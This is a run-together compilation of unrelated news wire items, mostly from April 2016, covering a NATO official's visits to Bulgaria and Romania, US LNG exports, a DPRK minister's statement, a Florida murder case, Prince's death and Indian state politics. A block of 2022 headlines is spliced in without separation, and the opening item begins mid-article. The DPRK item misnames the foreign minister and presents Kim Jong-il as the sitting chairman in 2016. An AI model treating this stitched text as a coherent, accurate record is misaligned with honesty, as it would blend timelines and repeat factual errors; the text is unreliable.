We have already implemented a series of assurance measures for our eastern Allies, which also have an important deterrence effect, he said. These include AWACS surveillance flights, and the intensification of NATO maritime patrols in the Black Sea itself. And as part of the European Reassurance Initiative, the US plans to expand its exercises and training with NATO Allies and partners, and to augment prepositioned equipment  including in both Bulgaria and Romania,  the Deputy Secretary General added.

Mr. Vershbow welcomed the recent announcement by the Bulgarian government to increase and modernize Bulgarias air and naval assets. He added that along with spending more money on defence, Allies need to ensure the ability of their militaries to cooperate against common threats. Cooperation between Allies  especially between our Black Sea Allies Bulgaria, Romania, Turkey, and involving the United States, will be key to the security challenges we face, he added.

On Friday (22 April) Mr. Vershbow is also meeting Minister of Foreign Affairs Daniel Mitov and Minister of Defence Nikolay Nenchev.
The NATO Deputy Secretary General, Ambassador Alexander Vershbow will visit Bucharest on Monday, 25 April and Tuesday, 26 April 2016.

During his visit Ambassador Vershbow will have meetings with the President, Mr. Klaus Werner Iohannis, the Minister of Foreign Affairs, Mr. Lazar Comanescu, and the Minister of National Defence, Mr. Mihnea Motoc.

On Tuesday 26 April 2016, Ambassador Vershbow will deliver a keynote speech at the National Library during a conference co-organized by the Romanian Defence Ministry, Bucharest University and the Ministry of Culture.

Media Advisory

Monday, 25 April

11:45 (local time) Joint press statements with Romanian Minister of Defence (Bucharest, Defence Ministry)

Tuesday, 26 April

14:30 (local time) Speech by Ambassador Vershbow, National Library of Romania.

Still images will be available on the NATO website after each event.

The programme of the visit is subject to change. For more information, please contact the NATO Press Office, tel: + 32 2 707 5041.

Follow us on Twitter (@NATOPress and @NATOdsg)
Syunik governor in Frances Vienne, sister city of Armenias Goris, discusses implemented projects, future cooperation

Climate protesters throw mashed potatoes at Monet painting in Germany museum

There is chance for peace in Ukraine, Macron says

US, Russia defense chiefs discuss Ukraine situation for 2nd time in last few days

Turkey plans to set up 2 more military bases in northern Syria

Germany wants to use Israel UAVs to protect its key infrastructures

UK defense secretary holds phone talk with Russia counterpart

US to attempt set Russia oil price cap above $60 per barrel?

Russia, Turkey defense ministers confer about Ukraine situation

Armenia official: Terms for buying, building houses for those displaced from Artsakh have improved

Saudi Arabia forum set to draw American business leaders despite existing tensions

Iran plans to increase natural gas exports to Turkey

Iran army ground forces holding exercise in West Azarbaijan Province

Sovereignty renunciation to be punished in Armenia with 12-15 years of imprisonment, as per justice ministry draft

2 pilots killed in Russia fighter jet crash

Russia, France defense ministers discuss Ukraine

Fighter jet crashes into house in Russias Irkutsk

150 residents of 3 Karabakh settlements handed over to Azerbaijan get compensation certificates

Rishi Sunak confirms UK premier bid

Rishi Sunak, Boris Johnson hold talks

Biden slammed for 'scary' long pause during interview

Elite US troops conducting exercises on Ukraine border

Iran MP: Military exercises on Azerbaijan border are decisive response to Israel

Xi Jinping elected Communist Party of China Central Committee general secretary

Armenia envoy presents credentials to Bosnia and Herzegovina Presidency chair

Hungary to approve by years end Sweden, Finland petitions to join NATO

US researchers debunk main theory for origin of life

Iranian MP: Iran will conduct military exercises wherever it deems necessary

Finnish delegation to visit Ankara to discuss NATO membership

Social media giants are likely to oppose Turkey's new law

Pastor steals $900,000 to buy stocks and car in U.S.

Lithuanian President Nauseda is named most popular politician in country

Charles III will embark on longest tour of world in history of royal family

Deputy Director of Institute of Oriental Studies of RAS: Baku's goal is that Karabakh has no Armenian population

Hurricane Roslyn in Pacific Ocean intensifies to third category

Italy's new prime minister, Giorgia Meloni, begins forming government

U.S. Treasury Department records budget deficit of over $429 billion in September

Why does Baku need aggravation on border with Armenia? Skakov assesses likelihood of new aggression

Iranian Foreign Minister: I had important meeting with Pashinyan in Armenia

Johnson spotted in economy class on flight from Dominican Republic to Britain

Armenian PM and European Parliament Resident Rapporteur for Armenia discuss Karabakh situation

Authorities in Kherson urge residents to immediately leave city

Russian expert: Baku's attempts to open corridor by force will cause negative response not only from IRI or Russian

Telegraph: Britain to send about 60 old tanks to NATO base in Germany for exercises

Artak Beglaryan: You will see me in new position

Netanyahu: Iran nuclear deal could bring Russia 'hundreds of billions'

Russia and Turkey begin to develop gas hub project

PM Pashinyan discusses agenda of bilateral relations with Iranian FM

Anna Hakobyan meets Armenians in Paris

Sargsyan: Recognition of Artsakh people's right for self-determination must be reflected in legal documents

Italy's first female prime minister, Giorgia Meloni, sworn in

Private jet goes missing off coast of Costa Rica

Times of India: India tests nuclear-capable Agni Prime missile

Spiegel: German Foreign Minister and Defense Minister ask to allocate 2.2 billion for military aid to Kiev

Deputy PM of Armenia and Head of Sharjah Heritage Institute discuss strengthening of Armenian-Emirati relations

Biden allows participation in U.S. presidential election in 2024

Secretary of Security Council of Armenia and representatives of AIISA discuss security issues

Kakhovka reservoir increases water discharges in case of possible destruction of HPP

Pashinian's spouse: Yesterday at Elysee Palace I was received by dear Brigitte Macron

At least 15 people killed in bus-truck collision in India

Explosion at Uzbek Defense Ministry depot injures 16 people

Armenian NA Speaker receives Iranian FM: Tehran opposes obstacles on border with friendly Armenia

President Harutyunyan receives group of members of Union of Artsakh Reserve Officers NGO

Newspaper: Armenia restores diplomatic ties with Hungary?

China hit by 5.5 magnitude earthquake

Armenian Defense Ministry denies Azerbaijani report on shelling, calling it disinformation

Blinken: Moscow is not interested in stopping aggression against Ukraine

Japan and U.S. will hold joint military exercises

France withdraws from Energy Charter Treaty

CNN: White House is in talks with Elon Musk to create satellite Internet service Starlink in Iran

Baku outraged by Iran's statements and frightened by IRGC military exercises

Who are main beneficiaries of 'Zangezur' corridor?: Another anonymous article by 'Haykakan Zhamanak' newspaper

Ankara decides to stand up for Riyadh amid deteriorating relations between Saudi Arabia and U.S.

French Foreign Minister considers it vital to keep lines of communication with Russia open

Pentagon refuses to give details of conversation between Austin and Shoigu

Mother See of Holy Etchmiadzin: Head of Caucasus Muslims Department again made slanderous and false statements

Erdogan denies using chemical weapons against Kurds and threatens those who dare to talk about it

Saudi Arabia and China will strengthen their ties in energy sector

Governor of Gegharkunik province receives representatives of OSCE fact-finding mission

Penny Mordaunt runs for Prime Minister of Great Britain

Sweden expects ratification of NATO membership application by Hungary and Turkey to be completed soon

European Union will allocate 1.5 billion euros per month to Kiev in 2023

An Israeli-built flight school opened in Greece

Russian Railways is negotiating with Azerbaijan and Iran to launch the Rasht-Astara route

Overchuk: Construction of road through Meghri, whose sovereignty is not in question, depends on Armenia's position

Armenian Defense Minister's working visit to India is over

Hungary will not agree to limit prices for imported gas

Iranian Foreign Minister: Iran considers Armenia one of most important transit countries

Naribekyan participates in meeting of secretaries general of PACE parliaments

Delegation from United Arab Emirates visits Armenia at invitation of head of MONKS: Two agreements signed

Dollar, euro drop in Armenia

Iran consul general in Armenias Kapan: We do not accept any change of borders

Baza: Mobile military registration and enlistment offices will be removed on Russian-Georgian border

Iranian Consul: Countries of region do not need presence of foreign armed forces

Armenia FM: Iran consulate general in Kapan will be important for regional security

Iranian Consul General advises Kapan residents not to worry anymore: Iran is here for Armenian people

FM reaffirms Armenia plan to open consulate general in Irans Tabriz

Turkey to open consulate in occupied Armenian Shushi city of Artsakh

Turkish Ministry of Finance: Ankara can buy Russian oil without Western funding

Armenia Security Council chief briefs European Parliament rapporteur on recent Azerbaijan military aggression
The US exported a tanker with liquefied natural gas to Europe. The vessel left the Louisiana port and now is on its way to Portugal. This is the first batch of gas the US manufacturers began to supply to the European markets, reports Lenta https://lenta.ru/ with a reference to The Wall Street Journal.

As expected, on April 26, the 300 meters long LNG carrier Creole Spirit will arrive at its destination. The buyer is a Portuguese company Galp Energia. The analysts consider that the arrival of the American gas may trigger a price war. It will lower prices in the European market that long having been dominated by Russia .

The USA launched gas exports overseas from the Gulf of Mexico in February. The Texas company, Cheniere Energy, exported the first batch to Brazil and then to Asia. The shale gas boom has changed the situation in the US energy market, and, as is expected, in 2017 the US will become a net exporter of gas, writes the journal .

Cheniere signed long-term contracts with several European gas companies , including British BG Group, purchased by Royal Dutch Shell earlier this year, as well as with a Spanish company Gas Natural.

In Europe, the US suppliers will be competing with Russia , which currently supplies the continents one third of the gas via pipelines. For example , half of Germanys natural gas come from Russia , one third of Italys natural gas comes from the same source. Among the other fuel sources are Norway , Algeria, and the Middle East.

According to analysts , Russia might reduce gas prices for the European countries in order to drive away new competitors such as the United States .

Taken the current rates into consideration the US LNG delivered to Europe will cost about $ 4.30 per million British thermal units . Russia sells its gas to Europe at an average price of 5.80 dollars. Analysts believe that Russia may significantly reduce the prices in the price war  up to below 3 dollars.
DPRK Foreign Minister Lee Soo - Hyuck announced that the United States implement an aggressive policy towards the North Korea violating international norms and the UN Charter , reports RIA Novosti .

"The United States appealed to the UN Security Council to impose sanctions on the North Korea, unjustly accusing us of being  a threat to the world and provocation against the security of the mankind . This is itself a shameless violation of the international norms, the UN Charter, and an open challenge to the implementation of sustainable development, " he said.

Lee Soo - Hyuck also noted that at present more than 300 thousand soldiers " mobilized by the US nuclear forces frantically conduct unprecedented nuclear tests" on the Korean peninsula . The minister said that the North Korea tried to eliminate the nuclear threat from the United States " by means of a dialogue and with the help of international norms , but that was useless ."

" Attempts of the US to stifle the DPRK with nuclear threats and an economic blockade is nothing but an expression of sheer ignorance. The US will never understand the Juche ideas of our peoples based on the indomitable spirit. The more sanctions and blockades they impose, the stronger and firmer it becomes" , stressed the leader of the North Korean.

He also called for the US to "immediately eliminate all nuclear threats and sanctions , and stop the hostile policy implemented towards the DPRK ."

" Let them understand that better the last smile than the first laughter.

We will win. That is the political will of our respected Kim Jong-il , the chairman of the DPRK National Defense Commission , as well as the faith and courage that fill the hearts of our people " , the Minister concluded .
YEREVAN. - Armenian President Serzh Sargsyan had urged me to implement a project in Armenia and do something that would serve as an example for others.

Armenian American businessman Noubar Afeyan, who is the President of Flagship Ventures firm, told the aforementioned to Armenian News  NEWS.am, referring to his meeting with Armenian President during the latters visit to the U.S.

According to Afeyan, he is eager to implement a project in Armenia, for which he needs reliable people.

During the open format meeting, when I took him to one of my biotechnological companies (Moderna Theurapeutics), he got inspired and urged me to implement new projects in Armenia. His aim was to do something which would serve as an example to the others. I said I would do that eagerly: as you know, Im quite active in Armenia through my investments in financial sector. But I havent yet dealt with high technologies in Armenia, but why not, I can see what opportunities there are, what kind of people are available, who can work honestly in starting western economy-based business. This is the first step  to find people, reliable ones, Afeyan said.
Stephen Paul Warrington has been charged with the murder of Jillian Christine Kusznir.



PALM BAY, Florida  Palm Bay police have made an arrest in the death of 22-year-old Jillian Christine Kusznir whose body was discovered in the trunk of a car on Tuesday. 25-year-old Stephen Paul Warrington was arrested Thursday night and charged with the murder of Kusznir. Warrington lived with this mother on Van Loon Avenue which is located just one block away from where Kusznirs body was found. Police believe that Kusznir was killed inside Warringtons home.



Previous story:



A womans body that was discovered in the trunk of a car by a construction worker on Tuesday morning near the intersection of Vienna Street NE and Norman Street NE in Palm Bay, Florida has been identified as 22-year-old Jillian Christine Kusznir of Palm Bay, Florida.





An autopsy by the Brevard County Medical Examiner has been scheduled while Palm Bay Police continue their investigation into the death.





Kusznirs friends have started the hashtag #JusticeForJillian on Facebook upon learning the news of her death.



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Kusznir was a witness to a 2013 home invasion in Palm Bay where two men were shot and killed. According to investigators,Kusznir went to the home on Thuringer Street NW to see Stephen Wright. Sean Pino and Dylan Kane accompanied her but stayed outside the residence. There were four people in the home when Kusznir arrived. Pino and Kane accompanied her but stayed outside the residence. There were four people in the home when Kusznir arrived.





As Kusznir left the home, there was a verbal confrontation outside between Pino, Kane and one of the occupants of the home, identified as Alex Souza. Souza and Wright did not know the two men, police say.





During the argument, Pino and Kane forced their way into the home and started a physical fight with Souza, witnesses told police. Wright, who was inside the home and witnessed the fight, retrieved a firearm and confronted the two men who allegedly continued towards him in an aggressive manner. At that time, Wright fired four rounds striking and killing both men. The shooting was later deemed justifie d by the State Attorneys Office for the 18th Judicial Circuit of Florida.




Emory students, faculty and staff came together on Thursday, April 21, for a block party to thank Emory President James Wagner and his wife, Debbie, for their service to the University.

Wagner, who became president of Emory in 2003, will retire at the end of August. The block party offered an informal opportunity for well-wishers to visit with the Wagners before the busy weeks of finals and Commencement.

Crowds gathered in Asbury Circle from 11:30 a.m. to 1 p.m. to enjoy music, hot dogs, chips, ice cream and Coca-Cola beverages. Attendees bid goodbye to the Wagners in person and contributed written messages on cards that will be assembled into a guest book.

The Emory community may also share favorite memories of the Wagners or farewell messages online.
Posted by Mark Williams | April 21, 2016

In a blatant attempt for world domination, Ford will be exporting the 2017 Ford Raptor SuperCrew to China. Although China does not have many off-road parks or designated 4x4 trails, much of the country offers a good amount of challenging terrain, desperately in need of the Raptor's rugged suspension and new terrain management four-wheel-drive system, equipped with six different driving modes.

Ford has had great success shipping the Ford Raptor to countries in the Middle East and no doubt this decision was made with big profits in mind, as the exclusivity and capability of this unique pickup will come with premium pricing. We've heard that many of the Saudi Arabian Raptors sell at or near $100,000. Of course, Ford is not saying how many of the new Raptors are likely to make it across the Pacific Ocean but if early consumer enthusiasm is any indication, the number is likely to be significant.

"The F-150 Raptor is the ultimate showcase of the tough capability available throughout Ford's family of trucks and SUVs," said John Lawler, chairman and CEO, Ford Motor China. "By introducing it to the world's largest auto market, we hope to inspire a new generation of off-road enthusiasts, and demonstrate how we are always bringing our customers new innovations."

All exported Raptors will be SuperCrews (meaning four full-size doors and a 5.5-foot bed) with the new, high-output 3.5-liter EcoBoost V-6 engine and 10-speed transmission. China will be the 96th market where the Ford F-150 is sold.

Manufacturer images






13:51

The approach and mindset of Prime Minister Narendra Modi and BJP chief Amit Shah are revealed by the selection of the six Presidential nominations to the Rajya Sabha, which Rediff.com had scooped a full 24 hours earlier (' Swamy, Sidhu, Mary Kom, Swapan Dasgupta among six nominated to RS '), and BJP insiders are giving various interpretations to the same.





Senior BJP leaders also speculate if the same formula will be followed while expanding both the Union Council as well the partys central team.





It is clear that Modis focus is on the five states that are currently in election mode, as each nominee comes from these regions.





Secondly, the preference seems to be for those who have been more vocal on Sonia-Rahul.

The third message Modi has sent out is that he does not consult senior colleagues, and draws his own conclusions on personalities to fill the vacancies.

While Swamy and Sidhus names may come as a shocker to a few, it should be noted that they will not be under the leadership of Arun Jaitley, leader of the Rajya Sabha. Nominated MPs have no leader in the Rajya Sabha, their respect and loyalty being to the President who has appointed them.

Incidentally, Modi has managed to enthuse a section of the BJP by bringing in columnist Swapan Dasgupta. But the point is, Swapanda will now have to quit as government nominee on the L&T board, as it would be deemed an office of profit.
UF Sustainability, NROTC graduates ready to make greener impacts on the future

Four soon-to-be graduates of the University of Florida College of Design, Construction and Planning are taking sustainability to sea  and beyond  as they begin active duty in the United States Navy.

Sustainability and the built environment students Adam Campbell, George Andrew Davis, Jr., Gerardo Contreras and David Bailey, have been involved with the Navy ROTC unit on campus since their freshman year and will become officers once they graduate this April.

Sustainability is increasingly recognized as essential. By definition, it is development that meets the needs of the present without compromising the ability of future generations to meet their own needs.

While Campbell, Davis and Contreras began as engineering students and switched to sustainability later in their academic careers, Bailey has been a sustainability student from the get-go.

Bailey received an internship with the UF Office of Sustainability and has been heavily involved with the Gator Gears initiative, a bike rental program for students and faculty on campus.

For Baileys research project, he retrieved data from universities across the country to determine what strategies are being used to increase the use of bicycles on campus.

Although there are several campus-wide green initiatives, Campbell was drawn to the sustainability and the built environment program to see first-hand how the design process worked.

I really enjoyed seeing a project go from the planning phase all the way to the finished product, he said. Then having that aspect of making it more energy efficient. Not just going with the conventional practice, but actually going with the innovative practice. Its a kind of trending towards the future instead of sticking with the past.

Davis research hit closer to home as he created an assessment of the ROTCs home base on UFs campus, Van Fleet Hall. The project determined ways to reduce energy and water consumption in the building.

Since its start in 2008, UFs sustainability and the built environment program has grown to over 100 students, said program director Margaret Carr.

Last year, the program had its first NROTC graduate. And in addition to this years four seniors, the program has two lower-division students involved in NROTC as well.

We believe our major is providing an important grounding for students entering the military because when armed with sustainability principles and techniques, they have great opportunities to influence the future, she said.

Captain Jim Morgan, commanding officer of UFs NROTC, agreed with Carr. He said future officers with degrees in sustainability directly contribute to the Department of Navys overall strategy of reducing its dependency on fossil fuels through increased use of renewable energy.

It was not that long ago, maybe five to ten years ago, that the Navys annual fuel bill to power our ships was in the billions of dollars, Morgan said.

As a result, U.S Secretary of the Navy Ray Mabus made increasing the use of alternative sources of energy within the Navy a priority.

Among other green initiatives, Morgan added that in May 2014, Mabus chartered the Navys Renewable Energy Program Office to produce or procure one gigawatt of renewable energy generation capacity by the end of 2015.

This was part of an overall Navy goal of having 50 percent of total Navy energy consumption coming from alternative sources by 2020, he said. The end goal is developing cost-effective, long-term alternative energy projects that help increase our energy security while at the same time preserving the environment for future generations.

On April 30, Campbell, Davis, Bailey and Contreras will receive their diplomas and shake President Kent Fuchs hand at commencement. A few months later, their active duty tours begin.

Bailey will be stationed in Pearl Harbor and has selected a ship thats part of the Navys Great Green Fleet, a group of ships that employ a number of energy and water saving techniques in their operation.

Shes one of the first vessels in the Navy to operate off a mixture of biofuels and traditional fuels for the Navy, he said. Its a big push and big point of observation for the Navy to see how effective that is.

Campbell will also be going to Hawaii, but has selected a different ship than Bailey.

I joined the Navy to see the world, he said. And what better way to start than in Hawaii.

Contreras will be serving his first tour of duty in Japan, and Davis will be going to flight school in Pensacola to pursue his dream of being a Navy pilot.
Confirming his death, Prince publicist Yvette Noel-Schure told The Associated Press that the music icon - widely acclaimed as one of the most inventive musicians of his era with hits including 'Little Red Corvette', 'Let's Go Crazy' and 'When Doves Cry' - died at his home in Chanhassen. However, no details were immediately released.

The Minneapolis native broke through in the late 1970s with the hits 'Why You Wanna Treat Me So Bad?' and 'I Wanna Be Your Lover', and soared over the following decade with such albums as '1999' and 'Purple Rain'.

The title song from '1999' includes one of the most widely quoted refrains of popular culture: 'Tonight I'm gonna party like it's 1999'.

Prince, who was born as Prince Rogers Nelson, inducted into the Rock and Roll of Fame in 2004, which hailed him as a musical and social trailblaser.

He was also fiercely protective of his independence, battling his record company over control of his material and even his name. (ANI)
"I am sorry to know about the murder of Ms.Chikku Robert - an Indian national from Kerala working as a nurse in Oman. I have asked Indian Ambassador to ascertain all the facts and report. My heartfelt condolences to the bereaved family," Swaraj said in a tweet.

Robert, a staff nurse with Badr Al Samaa Group of Hospitals, Salalah from Angamaly in Ernakulam, was found murdered in a suspected theft attempt at her flat in Salalah, Oman, yesterday night.

Robert, was found with at least a dozen stab wounds on her body, the Times of Oman reported. (ANI)
It may not be the same plot as the Cold War-themed "Rocky IV" movie but Deontay Wilder is deterimined to emerge victorious when he becomes the first reigning American heavyweight champion to travel to Russia to defend his title.Wilder will defend his WBC title against Russia's Alexander Povetkin in Moscow on May 21 and the longstanding rivalry between the two countries in international sport, one that is often fuelled by political difference, was not lost on him."My expectation is, of course, to win. To come back with that victory for America," Wilder said during a workout in front of the media this week. "This is a big fight, not just for myself, for America. It's like Russia vs. America."In "Rocky IV," Sylvester Stallone's character, Rocky Balboa, went to Russia at the height of the Cold War to avenge the death of his friend, Apollo Creed, at the hands of Russian boxer Ivan Drago. The resilient fighter won the fight and the support of a previously hostile Soviet crowd.Wilder (36-0, 35 KOs) admitted it would have been easier for him to fight Povetkin (30-1, 22 KOs) in the United States but prefers to travel the world and defend his title."I've been getting nothing but positive feedback from fans all over. Even if they weren't a fan of Deontay Wilder they are now for this very fight," said Wilder, the first American heavyweight champion in nearly a decade."Hopefully I can win them over to stay a fan of Deontay Wilder after this fight. ... It's a great thing that we're going over to Russia defending my title in somebody else's backyard."The charismatic Wilder, a 2008 US Olympic bronze medallist who won the WBC heavyweight title in January 2015 with a unanimous decision over Haitian-born Canadian Bermane Stiverne, said anything less than a knockout of Povetkin is unacceptable.He is also not losing sleep over fighting in front of a pro-Povetkin crowd."I don't have any concerns. I don't let my brain sit back and think about if I don't knock him out or are they going to rob me, or anything like that," said Wilder."I just don't want my mind to be on that when I'm in a fight. I want to have a clear mind. I want to go in there and do what Deontay is capable of doing."REUTERS JW PM0542 -- (Reuters) -- C-1-1-DL0364-695250.Xml
Around 20 others sustained injuries in the brawl, which took place yesterday.

According to sources, the incident took place in Khandoghosh area of Burdwan district when a group of CPI (M) workers were returning home late night. They were ambushed by some TMC workers on their way.

There seems to be no decline in the incidents of violence despite the beefed up security, including adequate deployment of central paramilitary forces in the poll-bound state.

The elections to the 294 seat West Bengal Assembly are being conducted in six phases, spread across seven polling days till May 5.

The counting of votes will be done on May 19. (ANI)
IT major, HCL Infosystems, has entered into a strategic alliance with Fujitsu India, a leading Japanese information and communication technology company.With this association, HCL Infosystems will now be the Value Added Distributor for the entire portfolio of scanners offered by Fujitsu to customers across India. HCL Infosystems offers sales, marketing and last mile connect funder its value-added proposition.This partnership will enable Fujitsu to tap into HCL Infosystems' extensive pan-India network of distribution partners along with its array of rich value added offerings. This association will further strengthen HCL's rich portfolio of Original Equipment Manufacturers (OEMs) to offer a comprehensive offering and choice to its partners and customers.HCL Infosystems, India's premier IT Services, Distribution and Digital Solutions Company, enabling organizations attain and sustain competitive advantage by leveraging Information and Communication Technologies. It offers a comprehensive portfolio of capabilities spanning IT & System Integration services,digitally-enabled learning and career development solutions to value-added distribution of technology, mobility and consumer products.UNI JS NV SM1321 -- (UNI) -- C-1-DL0171-695603.Xml
"Hanuman Jayanti greetings to everyone," the prime minister said in his message.

The BJP chief tweeted: "Heartiest wishes to all of you on Hanuman Jayanti."

--IANS vin/tsb/bg

( 63 Words)

2016-04-22-14:14:11 (IANS)
India Compute Interchange (ICIx) today said it has launched a Bare Metal asset class in which buyers can execute spot or forward contracts for servers. The company, which launched a new financial marketplace for Indian cloud service providers and enterprise organizations to trade compute resources last year, is introducing the new products in partnership with Chicago-based UCX. ICIx Chairman Bharat Swami, a practicing surgeon and serial entrepreneur, disclosed that the launch includes two products, the "X1" and "X2", which have been designed around two widely adopted configurations within the IT community, the company said in a statement. "We see Bare Metal as a natural extension to our financial product offerings," said ICIx / UCX Co-Founder and Global CEO Adam Zeck, "Suppliers have a venue to recoup investments on vacant servers and a way to minimize risk due to customer churn, and buyers benefit from price discovery, transparency, and a way to hedge their own IT investments," in a statement. UCX leverages a state-of-the-art trading platform that it licenses from CME Group to create a central price discovery mechanism to trade digital assets, such as Bare Metal servers. Buyers bid on excess dedicated hardware capacity offered by service providers, which compete for buyers' business in real-time. "Our goal, from day one, has been to help deliver on the Prime Minister's promise of a Digital India and make India the center for all cloud processing in the Pan-Asian hub," said Dr Swami. "India's future has never looked brighter. ICIx will not only create a central transparent marketplace for all 'cloud' users, but will maintain and trade only processing deemed green by governmental standards," he added. The company has specified minimum server specifications that its member service providers would have to meet in order to fulfill orders on the exchange. "What Dr. Swami and his team are doing not only puts India on the forefront of the digital revolution but cements India's place as the central market for all compute resource power trading in the Pan-Asian region," Mr Zeck said in a statement. India will show the rest of the world the importance of understanding cloud consumption and production. Digital, Green India is not a dream; it is today's reality, and ICIx is an important piece of the puzzle to achieve that goal, he added. UNI RN NM 1650 -- (UNI) -- C-1-1-DL0311-695994.Xml
Uttar Pradesh Chief Minister Akhilesh Yadav today commented that when Congress was taking the help of poll strategist Prashant Kishor for polls in the state, Bahujan Samaj Party chief Mayawati , his 'Buaji', is helping Samajwadi Party in the campaign of the state government by propogating the development works. "If Congress has got PK , we have got Bauji, who is now claiming that all our projects including Lucknow Metro and Agra-Lucknow expressway were originally their projects. If these projects were of the BSP launched in 2008 then why they did not complete it by 2012, when they were voted out of power," the CM questioned. Mr Yadav, who was addressing a function ' UP Budget 2016-17: A panel Discussion' here, lashing out the BSP said," a private company which constructed the Yamuna Expressway during the BSP regime has showed up poorly that suffered a loss of Rs 60,000 crore." He said while the parks made by the present government are providing fresh oxygen to the people of Lucknow and other places, while the memorials and parks made during the BSP regime were only giving ''heat." Our Janeshwar Mishra Park is better than the Hyde Park of London and Bollywood producers are coming for shooting of the films. Can anyone think of BSP's memorials for shooting purpose in the month of April, May and June as it gives only heat due to stones," he added said. He also announced that the UP government will plant 5 crore sapplings in the next two months in the state to improve the environment. Stressing the need of improving the infrastructure, Mr Yadav said good and broad roads are required in the state. " If we don't address the transportation system and good roads then we too have to go for the odd and even system of vehicle rationing like Delhi," he said.UNI MB AE AS1622 -- (UNI) -- C-1-DL0196-695750.Xml
Lord Hanuman has defaulted on payment property tax of Rs.4.33 lakh in a Bihar town and authorities have decided to issue notice to him to make the payment at the earliest, officials said on Friday. Lord Hanuman is a "property tax defaulter" in Ara, district headquarters of Bhojpur, in Bihar. "Lord Hanuman has property tax dues of Rs.4.33 lakh to be paid to Ara Nagar Nigam," a civic official said. According to Ara Municipal Corporation officials, there are three holdings (property) in the name of Lord Hanuman at Badi Mathiae town. Concerned officials have informed the temple authorities twice to clear the dues of holding tax. But it is yet to be paid. According to Ara municipal commissioner Pramod Kumar, there is a provision to send notice in the name of holder. "Three properties are in the name of Hanuman and property tax has not been paid." In February this year, a lower court in Rohtas district issued summons to Lord Hanuman for appearance in court in connection with a roadside temple dedicated to him. The sub-divisional magistrate in Rohtas asked the reverred monkey god of Indian mythology to appear in his court after hearing a complaint of encroachment filed by the state Public Works Department. Earlier, an official in Begusarai district had issued an encroachment notice against 'Bajrang Bali' regarding a roadside temple constructed in his honour in Lohia Nagar area. Protesting Bajrang Dal workers, however, forced the authorities to dump the notice. On February 1, a lawyer in Bihar's Sitamarhi district lodged a complaint against Lord Ram and his brother Laxman for ill treatment of Ram's pregnant wife Sita. Chief Judicial Magistrate Rash Bihari rejected the case as "not maintainable" and "beyond logic and facts" as the petition had sought registration of a case against Lord Ram and his brother Laxman for banishing Sita into exile "without proper justification", especially when she was pregnant. --IANS ik/sd/vt ( 329 Words) 2016-04-22-17:24:05 (IANS)
Police said today the burglars looted the ornaments from the house of Kizhakkeyil Moosa of Chalappuram in Nadapauram and the incident came to light this morning.

A case has been registered and efforts were on trace the accused they added.UNI PCH KVV AK 1700

-- (UNI) -- C-1-1-DL0328-695891.Xml
: Kerala Minister for Rural Development, Information and Public Relations Department K C Joseph today said the CPM leader V S Achunathanandan did not meet the press of Kannur, yesterday during hie election tour in the district to avoid a Mararikulam kind of result in Dharmadom constituency, where the party Polit Bureau member Pinarayi Vijayan is contesting as a LDF candidate from his native town. Talking to newspersons here, Mr Joseph said that earlier Mr Achuthanandhan had lost from his home town at Mararikulam in Alapuzha district, a bastion of the CPM, factional fued and internecine warfare within the party.. However, yesterday Mr Achuthanandhan avoided the media and used social media 'Facebook' to give a fitting rebuff to Mr Pinarayi's uncalled-for statement against him in a press conference at Thiruvananthapuram on April 20. Mr Joseph said this incident amply proves the internal dispute and simmering discontent that is brewing between the veteran CPI(M) leaders. He also challenged the LDF to come forward for a debate on the five-year performance of the UDF government with the ruling party, instead of trying to escape from harsh reality. The minister ruled out anti incumbency factor against the UDF government and the ruling Front is confidemt that the political conscious people of Kerala would retain the UDF, bearing in mind, the development that has taken place during the ongoing tenure of Oomen Chandy. Mr Joseph said the UDF government has fulfilled all its election promises. The minister, who is also in charge of Department of Non-resident Keralites affiar (NORKA,) said the UDF government would strive for the development and welfare of Pravasis, The deflating oil prices and pay cuts had affected the NRIs abroad. The government is planning to implement comprehensive rehabilitation scheme, if the NRIs are inclined to return to Kerala. Mr Joseph, however, regretted that the nationalised Banks are not assisting the Pravasis, despite the fact that they are investing about Rs 1.75 crore per year in the banks. The banks need to focus on their social commitment when it comes to bailing our Pravasis, he reasoned. He said in the past the people of Kerala were keen on working in gulf countries, but it seems, a considerable number of them have started returning during the course of time.. The minister said he has been consecutively contesting from Irikkur constituency for the last 34 years and is confident that the voters, considering his efforts in brushing up development works and facilitating their process in a fine-tuned manner, would definitely exercise their franchise in his favour, this time, too. All the candidates spent their time at the contesting constituency during the election date and considering that his votes are in Kottayam, Mr Joseph has once again requested the election commission to allow him to cast his vote through post.UNI AK KVV AK 1810 -- (UNI) -- C-1-1-DL0324-696149.Xml
Narada News CEO today said his sting operations on Trinamool Congress ministers and MPs were solely to put out a good news report and the money was given as "bribe". "The money was given as bribe to those leaders and politicians, not as donation as the latter should have receipts," Mathew Samuel told mediapersons at Kolkata Press Club here. He said the sting operations were not motivated by any politics or any political influence on him. He said the money given to the AITC leaders was collected from his friends. "They are taking money and promising favours. The sting has exposed them and it has nothing to do with politics. The footage is now in safe hands and so I am here," said Mr Samuel. He rejected a suggestion that money was collected from hawala. Mr Samuel demanded that the leaders, who have taken bribe, should come under investigation and be punished. He said he has come to Kolkata as the Calcutta High court order had directed the authorities to keep those sting operation documents in a bank vault. "I have full faith in the judiciary", Mr Samuel added. "It is true that they (TMC) have taken money. If they (AITC) have any doubt then they should probe who are all behind the sting operation and why," the journo added. He said his company was formed under the company act, registered in Britain and has branch in Dubai. Mr Samuel said he had been keeping in touch with the lower level leaders of the AITC since 2014 and then contacted Mirza and Iqbal and they gave the names of the leaders. Meanwhile, the TMC in a memorandum to the Election Commission demanded cancellation of Narada News CEO programmes in West Bengal since the sting operation case is sub-judice and the Ethics Committee of Lok Sabha was investigating. UNI PC AKM SHS RJ NS1848 -- (UNI) -- C-1-DL0213-696267.Xml
